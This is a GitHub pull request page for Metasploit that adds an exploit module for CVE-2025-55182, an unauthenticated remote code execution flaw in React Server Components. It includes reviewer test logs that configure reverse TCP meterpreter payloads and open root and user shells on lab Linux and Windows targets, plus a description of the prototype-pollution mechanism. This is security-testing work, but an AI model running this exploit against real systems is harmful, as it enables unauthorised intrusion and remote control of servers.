-
Notifications
You must be signed in to change notification settings - Fork 14.7k
Add CVE-2025-55182 / CVE-2025-66478 #20747
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
|
made a draft, i will write exploit |
Co-authored-by: bcoles <[email protected]>
Co-authored-by: bcoles <[email protected]>
Chocapikk
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You can randomize more
jheysel-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the great module as well as the detailed documentation on setting up a test environment, @vognik 🚀
Testing
Check method:
smsf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 172.16.199.0/24
rhosts => 172.16.199.0/24
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > check
[*] 172.16.199.0:3000 - Cannot reliably check exploitability. 172.16.199.0:3000 - No response from web service
[*] 172.16.199.1:3000 - The target appears to be vulnerable.
[*] 172.16.199.2:3000 - Cannot reliably check exploitability. 172.16.199.2:3000 - No response from web service
[*] 172.16.199.3:3000 - Cannot reliably check exploitability. 172.16.199.3:3000 - No response from web service
^C[*] Caught interrupt from the console...
Linux
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 127.0.0.1
srhosts => 127.0.0.1
et msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rport 3000
rport => 3000
run msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (3090404 bytes) to 172.16.199.1
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56579) at 2025-12-08 12:18:19 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.17.0.2
OS : (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Windows
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > show targets
Exploit targets:
=================
Id Name
-- ----
=> 0 Unix Command
1 Windows Command
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set rhosts 172.16.199.141
rhosts => 172.16.199.141
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set target 1
target => 1
set msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > set fetch_command curl
fetch_command => CURL
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55102) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.141:50353) at 2025-12-08 12:59:16 -0800
meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfuser
meterpreter > sysinfo
Computer : DESKTOP-0OPTL76
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
| ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3'] | ||
| ], | ||
| 'Platform' => ['multi'], | ||
| 'Arch' => [ARCH_CMD], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to default to a node based payload for the highest chance of success on arbitrary targets? 🤔
i.e. we won't know if the target has curl or wget - but I imagine it'll have node on the path by default? 👀
Release NotesThis adds an exploit for CVE-2025-55182 which is an unauthenticated RCE in React. This vulnerability has been referred to as React2Shell. |
Vulnerability Details
A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
pollution during deserialization of RSC payloads by sending specially crafted multipart
requests with "proto", "constructor", or "prototype" as module names.
Module Information
Module path:
modules/exploits/multi/http/http/react2shell_cve_2025_55182.rbPlatform:
Linux/Unix/WindowsReferences
Test Output